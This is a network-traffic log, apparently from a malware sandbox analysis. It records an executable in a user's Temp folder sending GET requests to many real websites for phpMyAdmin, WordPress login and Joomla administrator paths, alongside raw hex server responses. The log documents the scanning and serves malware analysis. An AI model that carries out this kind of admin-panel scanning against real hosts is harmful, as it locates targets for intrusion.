6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 32 33 0d 0a 0a 0a 20 20 20 20 54 68 65 20 6c 69 6e 6b 20 6f 6e 20 74 68 65 0a 20 20 20 20 3c 61 20 68 72 65 66 3d 22 0d 0a 38 33 0d 0a 68 74 74 70 3a 2f 2f 6d 65 75 72 72 65 6e 73 2e 6f 72 67 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 72 65 66 65 72 72 69 6e 67 0a 20 20 20 20 70 61 67 65 3c 2f 61 3e 20 73 65 65 6d 73 20 74 6f 20 62 65 20 77 72 6f 6e 67 20 6f 72 20 6f 75 74 64 61 74 65 64 2e 20 50 6c 65 61 73 65 20 69 6e 66 6f 72 6d 20 74 68 65 20 61 75 74 68 6f 72 20 6f 66 0a 20 20 20 20 3c 61 20 68 72 65 66 3d 22 0d 0a 34 61 0d 0a 68 74 74 70 3a 2f 2f 6d 65 75 72 72 65 6e 73 2e 6f 72 67 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 74 68 61 74 20 70 61 67 65 3c 2f 61 3e 0a 20 20 20 20 61 62 6f 75 74 20 74 68 65 20 65 72 72 6f 72 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f Data Ascii: 1e<?xml version="1.0" encoding="afISO-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="een" xml:lang="13en"><head><title>38Object not found!</title><link rev="made" href="mailto:110postmaster@meurrens.org" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>1bObject not found!</h1><p>39 The requested URL was not found on this server. 23 The link on the <a href="83http://meurrens.org/administrator/">referring page</a> seems to be wrong or outdated. Please inform the author of <a href="4ahttp://meurrens.org/administrator/">that page</a> about the error. 29</p><p>48If you think this is a server error, please contactthe <a href="mailto
Dec 20, 2023 03:13:23.802908897 CET	253	IN	Data Raw: 3a 0d 0a 32 38 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0d 0a 31 31 0d 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 0d 0a 32 31 0d 0a 34 30 34 3c 2f 68 Data Ascii: :28postmaster@meurrens.org">webmaster</a>.11</p><h2>Error 21404</h2><address> <a href="/">19meurrens.org</a><br /> 9 <span>21Wed Dec 20 03:13:23 2023<br /> 29Apache</span></address></body></html>1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	54034	213.186.33.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.338030100 CET	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: eb-concept.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.604026079 CET	1286	IN	HTTP/1.1 200 OK date: Wed, 20 Dec 2023 02:13:23 GMT content-type: text/html; charset=UTF-8 content-length: 4184 server: Apache x-powered-by: PHP/7.1 vary: Accept-Encoding content-encoding: gzip x-iplb-request-id: 668198D4:D312_D5BA2113:0050_65824DC2_23248:6A8A x-iplb-instance: 51833 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 3c eb 5a 1b c9 b1 bf c5 53 54 66 4f 0c 3e cb 48 c2 18 8c 8d a4 04 63 b1 66 83 81 60 f0 9e 4d be 8d bf d6 4c 4b ea 65 6e ee 99 11 60 c7 ef 9a 9f 21 4f 91 aa be cc b4 84 b0 31 36 89 93 63 61 8b e9 5b 75 dd bb ba ba 87 ce b8 88 a3 de 02 40 67 cc 59 d8 5b e8 14 a2 88 78 af ff 74 1b 8e 9f f7 a1 ff aa bf 7f 0c 4f e1 f8 00 bf b6 0f 5e 1c 6e fd b0 ff 73 a7 a5 3b 2d 74 62 5e 30 18 17 45 e6 f3 37 a5 98 74 bd ed 34 29 78 52 f8 c7 17 19 f7 20 d0 a5 ae 57 f0 f3 a2 45 33 6d 42 30 66 32 e7 45 57 e4 a9 bf b1 b1 f6 d8 5f f1 d4 f4 0a 54 c2 62 de f5 64 3a 48 8b dc 19 2e 92 90 9f 2f c3 30 8d a2 f4 cc 83 16 0d 98 1a 71 ca 2f ce 52 19 ba 63 58 22 62 56 88 34 c9 b1 2e 8e b9 0c 04 8b 78 be 0c 4e 43 96 96 12 02 ec 2e b9 d3 ab c4 a9 16 aa 5e 6e 27 07 92 03 07 f2 54 c8 4b 0e e1 a2 ea 94 49 91 73 b7 59 24 34 5a 4c a6 2a 15 d4 9c 45 f8 18 72 88 16 59 59 a4 71 3a 10 d1 74 af cb 90 8d d2 91 78 53 4e 55 5f 86 65 c0 66 21 46 65 38 db 2f 48 11 36 81 67 20 d3 b2 c0 b6 40 c8 a0 14 c5 9c 16 79 c9 22 51 20 19 ac 1c c5 88 ef 25 37 8c 76 f9 1c f2 3c 90 22 23 e0 0e ab b1 d6 e5 6a 9e ca 82 25 05 84 a5 e2 57 99 2c 43 2a c5 48 24 c4 7f e0 05 94 09 21 9a 37 e1 f0 5a fe 8f 24 4b 08 6c 5e ca 21 0b 48 6c 43 64 32 0d 3f cf d2 5c a8 89 96 21 49 69 18 b2 37 2b 68 5a 9c 93 85 2c 2b d8 80 26 fa 1b 14 69 99 c3 04 fb 5c 4e fe 9e 70 22 6a 6a 96 26 68 0a f1 67 61 8a ca 51 9a 8e 22 ee e3 34 dc 9f 70 29 86 22 60 33 24 6f 5c 3c 9f 94 3f fc 94 e5 27 72 f7 6d 72 78 7e fe 62 38 19 3f fe 35 dc de e9 ff df 64 af fd 26 8c 4e 7d 9f b1 a0 ff 87 9f 2d 1b 35 e7 90 e3 c9 a8 64 23 9c e6 47 36 61 2f 55 25 5a c0 b0 4c 02 ad 4c a5 8c c4 28 e1 4b 68 28 71 b6 0c 5c 4a 5e ca fb 0b ef 48 e7 c5 70 c9 96 41 7d 54 a7 66 5e 5c 44 bc 39 60 c1 e9 08 a5 99 84 db 69 94 4a e8 82 f7 dd ce ce ea 6a bb ed 6d 52 77 1e e5 fc 66 c3 b0 ff fb 85 1a 25 91 f7 63 26 a2 a5 f8 e2 15 93 f7 df 69 18 ad 16 ec 31 58 f9 3b 5a c5 65 c1 32 b2 8d 24 17 79 c1 91 f1 e1 e5 50 24 42 a2 5a a3 b8 50 6a 39 41 91 97 a3 32 12 d4 3f 5c 2c 13 d4 b3 90 5a 38 70 82 ad 61 4e 98 04 c9 47 6a 36 c4 23 e1 67 70 84 c5 f3 6c 69 f1 2f 7f 6e fb 8f 99 ff b6 f9 da ff e5 fb df bf 5b 79 6f cb fe 2f ef 1e 2c bf ff 73 f3 17 aa c3 0a 2a ae bd ff 9f c5 e5 45 b1 78 7f 73 41 03 96 bc 28 65 52 c1 6e 16 3c 2f 0c 39 8a 35 ef e9 ab 26 58 09 fd 05 91 ac 18 a5 98 8f f4 a2 fe ca 62 69 11 6d 76 54 a2 0c 80 40 2d 7e af 79 39 61 51 c9 9b 11 4f 46 c5 58 c1 5c 20 61 5d 6d 83 0e 3c bc 0f 34 9d e1 e3 15 81 17 b2 e4 1a ab 1a f1 21 43 d9 d5 98 5a 49 5a 10 ad d6 2c 10 35 a0 82 d2 6a 19 38 04 7b 73 a1 01 9a 42 64 b1 15 ad 83 28 8e 6a 34 2c b5 b0 b4 e8 5a 00 2c 7e af 8a aa 0f d2 67 c0 74 35 d2 04 b8 f1 8e be a1 d1 b8 0e 23 dd ea e0 03 04 eb 3d fe 27 aa 00 7f 23 84 1a 81 a5 c5 20 2d f1 df a2 9a f2 0a 54 c3 ac 46 05 d1 70 8a 20 1a 6e a1 2a 4f 0b 76 3f 8d 1d b9 ce 13 6c 92 c6 f0 01 c1 c2 b5 a2 7d 00 7f fd 2b cc 69 e9 c1 5a fb fe 17 16 fa 87 45 3e 25 70 05 c2 b5 68 c5 87 43 c9 93 8f b2 22 53 9d fe 0b 99 31 cd 8b 97 69 20 78 c1 3f c2 8c 5c f7 fa Data Ascii: <ZSTfO>Hcf`MLKen`!O16ca[u@gY[xtO^ns;-tb^0E7t4)xR WE3mB0f2EW_Tbd:H./0q/RcX"bV4.xNC.^n'TKIsY$4ZLErYYq:txSNU_ef!Fe8/H6g @y"Q %7v<"#j%W,CH$!7Z$Kl^!HlCd2?\!Ii7+hZ,+&i\Np"jj&hgaQ"4p)"`3$o\<?'rmrx~b8?5d&N}-5d#G6a/U%ZLL(Kh(q\J^HpA}Tf^\D9`iJjmRwf%c&i1X;Ze2$yP$BZPj9A2?\,Z8paNGj6#gpli/n[yo/,sExsA(eRn</95&XbimvT@-~y9aQOFX\ a]m<4!CZIZ,5j8{sBd(j4,Z,~gt5#='# -TFp nOv?l}+iZE>%phC"S1i x?\
Dec 20, 2023 03:13:23.604145050 CET	1286	IN	Data Raw: 6f d4 8d 69 76 6c 63 78 f0 11 5e 04 d9 f5 6c 70 8c 37 5b 84 ef 61 da bb a0 fd a3 d3 58 12 f9 3e db 9f 72 3c dd ae c6 73 41 b9 11 fc 02 d7 0d 64 80 4e 9b 4c 73 20 f9 a2 76 24 8d 39 78 5d 83 14 f6 56 ae e7 3a e9 ac 5d 2f 1d e5 d7 80 bc d2 b5 b2 a1 Data Ascii: oivlcx^lp7[aX>r<sAdNLs v$9x]V:]/B3103HG2\Eb8%Q1O-Mkcl&nEW`^~XDOxih"!V#0l5i@0b)FIU`s=6o6`;l
Dec 20, 2023 03:13:23.604186058 CET	1286	IN	Data Raw: 64 38 7d 84 67 0f 2d f3 65 8b 44 66 71 a8 0e 3e d5 91 61 85 5a 8d a4 3a 00 9d c2 66 7b f6 1c 32 a1 ec 98 44 66 94 91 b8 c7 47 92 4d f8 a6 d4 d2 56 07 85 16 14 8d 2b cf af 1c f2 aa 83 60 0d fa ea e9 23 61 15 df e3 74 a0 ba 19 73 7b 4a 2c 0b 26 12 Data Ascii: d8}g-eDfq>aZ:f{2DfGMV+`#ats{J,&.hwVm)QxAn}LXHZ,jmJ}`y.,,uzmnmb"s*g.$JW:c.FyW,y<a+lFlbp
Dec 20, 2023 03:13:23.604238987 CET	622	IN	Data Raw: dc 7a 09 27 fb 70 74 f0 f4 e0 d8 83 2d 75 19 e4 59 1f 5e 6d ed ed 3e eb 1f c1 ab 83 e3 a3 3e ec 1c 1c bd 38 79 b1 b5 7b 34 75 4f a3 8e 56 2b 7c 8c 7f 09 c5 e4 4a f8 1e b1 1c a9 1e f9 d5 15 20 0f 42 56 30 f5 0a df 29 c7 2d e0 fa de 70 10 1e 9e 9d Data Ascii: z'pt-uY^m>>8y{4uOV+\|J BV0)-plg8: ogq`_U+*(+D5Tip-,efLm((xTX7"_~KiVyEs{=<1"^>7{muL/rQ\|s>OyZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	53732	3.64.163.50	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.338104010 CET	175	OUT	GET /wp-login.php HTTP/1.1 Host: smithstar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.578994989 CET	287	IN	HTTP/1.1 410 Gone Server: openresty Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html Content-Length: 140 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 30 20 47 6f 6e 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 30 20 47 6f 6e 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>410 Gone</title></head><body><center><h1>410 Gone</h1></center><hr><center>openresty</center></body></html>
Dec 20, 2023 03:13:23.579235077 CET	216	OUT	GET /wp-admin/ HTTP/1.1 Host: smithstar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://smithstar.com/wp-login.php

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	53804	217.160.0.164	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.338176966 CET	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: schelberg.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.582753897 CET	808	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Date: Wed, 20 Dec 2023 02:13:23 GMT Server: Apache X-Frame-Options: deny Content-Encoding: gzip Data Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	53860	217.160.0.164	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.338296890 CET	175	OUT	GET /wp-login.php HTTP/1.1 Host: schelberg.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.588201046 CET	808	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Date: Wed, 20 Dec 2023 02:13:23 GMT Server: Apache X-Frame-Options: deny Content-Encoding: gzip Data Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Dec 20, 2023 03:13:23.589659929 CET	216	OUT	GET /wp-admin/ HTTP/1.1 Host: schelberg.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://schelberg.net/wp-login.php

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	54505	66.96.160.139	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.354387999 CET	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: ads-ecuador.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.519902945 CET	513	IN	HTTP/1.1 302 Found Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 219 Connection: keep-alive Server: Apache/2 Location: https://ads-ecuador.com/phpmyadmin/ Cache-Control: max-age=3600 Expires: Wed, 20 Dec 2023 02:19:13 GMT Age: 3250 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 64 73 2d 65 63 75 61 64 6f 72 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://ads-ecuador.com/phpmyadmin/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	54364	166.62.28.100	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.465753078 CET	183	OUT	GET /phpmyadmin/ HTTP/1.1 Host: jayshreeautomation.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	54455	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.465825081 CET	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: nymalegigolos.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	54428	166.62.28.100	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.465905905 CET	184	OUT	GET /wp-login.php HTTP/1.1 Host: jayshreeautomation.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	54486	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.499233961 CET	185	OUT	GET /administrator/ HTTP/1.1 Host: www.nymalegigolos.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	54521	216.40.47.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.515949965 CET	248	OUT	GET /administrator/index.php HTTP/1.1 Host: theseekerchurch.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://www.theseekerchurch.com/administrator/
Dec 20, 2023 03:13:23.687485933 CET	202	IN	HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Location: http://www.theseekerchurch.com/administrator/index.php Content-Length: 0 Date: Wed, 20 Dec 2023 02:13:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	54581	205.178.189.131	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.635950089 CET	184	OUT	GET /phpmyadmin/ HTTP/1.1 Host: carisfoundationintl.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.779520035 CET	340	IN	HTTP/1.1 301 Moved Permanently Server: Sun-ONE-Web-Server/6.1 Date: Wed, 20 Dec 2023 02:13:23 GMT Content-length: 122 Content-type: text/html Location: http://carisfoundation.org/phpmyadmin/ Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 48 31 3e 0a 41 6e 20 65 72 72 6f 72 20 68 61 73 20 6f 63 63 75 72 72 65 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><HEAD><TITLE>Moved Permanently</TITLE></HEAD><BODY><H1>Moved Permanently</H1>An error has occurred.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.4	54576	198.49.23.145	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.651312113 CET	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: qihabitats.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.4	54582	104.143.9.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.654912949 CET	175	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: meltonhome.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.4	54674	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
